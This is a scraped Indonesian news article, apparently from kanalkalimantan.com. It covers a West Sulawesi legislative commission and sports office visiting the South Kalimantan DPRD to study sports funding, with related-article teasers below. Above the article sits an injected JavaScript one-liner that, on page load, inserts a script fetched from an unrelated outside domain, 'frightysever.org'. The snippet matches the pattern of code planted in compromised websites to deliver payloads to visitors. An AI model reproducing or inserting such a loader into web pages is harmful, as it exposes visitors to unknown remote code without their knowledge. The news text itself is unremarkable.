(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Komisi IV DPRD Sulbar bersama Kadispora Sulbar mengunjungi DPRD Kalsel guna jadi salah satu upaya pihaknya untuk menghasilkan salah satu produk perda yang bisa menjadi jembatan untuk memperbaiki olahraga di Sulbar. Selain itu mereka juga ingin meningkatkan kualitas olahraga pada PON XX di Jayapura mendatang, mengingat pada PON XIX lalu Sulbar hanya meraih sedikit pencapaian, terang Kadispora Sulbar, Muhammad Hamsi.
Salah satu yang dicatat oleh Hamsi dalam kunjungannya adalah bahwa dalam olahraga harus ada keterlibatan pihak-pihak lain, termasuk pemda kabupaten dan para stakeholder dan masyarakat.
“Ada namanya bapak angkat lah, pengusaha yang bisa mendorong prestasi olahraga ke depannya,” terangnya.
Indikator lainnya membuat pihaknya yakin yaitu atas torehan Kalsel pada SEA Games lalu. Ditambah lagi gontoran dana untuk bidang olahraga menurutnya begitu besar jika dibandingkan dengan Sulbar. “Kami hanya 11 M, tambah KONI 9 M, jadi memang mencolok,” tuturnya.
Ketua Komisi IV DPRD Sulbar, Arman Salimin juga menambahkan bahwa dalam kunjungan mereka kali ini lebih mendalami perihal pendanaan yang terstruktur untuk cabang olahraga (cabor). Menurutnya jika semua cabor dianggarkan dana, maka tidak akan cukup. Oleh sebab itu perlunya klasifikasi cabor seperti yang dilakukan Kalsel yang membagi cabor  ke madya dan utama.
“Sehingga penganggarannya itu bisa terstruktur, harus ada kriteria cabor tersendiri, misalnya pernah dapat emas tingkat nasional, pernah juara dunia. Itu klasifikasinya. Sehingga cabor-cabor yang lain ini tidak harus sama rata,” terangnya.
Sehingga hal ini di satu sisi menurutnya mampu menggenjot semangat atlet lain yang masih mendapat sedikit anggaran agar mampu lebih mencapai banyak prestasi.
Disampaikan oleh Kabid Pembudayaan Olahraga Kadispora Kalsel, Yuyu Rahmad, dana pembinaan olahraga di Kalsel pada tahun ini mencapai angka 200 M.”Jadi semua kita lakukan pembinaan untuk olahraga prestasi, olahraga pendidikan, olahrga prestasi, dan olahraga disabilitas,” lanjutnya.
Apalagi dari pengalaman yang lalu, para atlet disabilitas telah banyak mengangkat nama Kalsel. Salah satunya dari Special Olympics Indonesia (SOIna) yang menyumbang emas di Special Olympics World Game, Abu Dhabi. “Alhamdulillah dengan dana yang adat mensupport para atlet,” pungkasnya.(mario)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.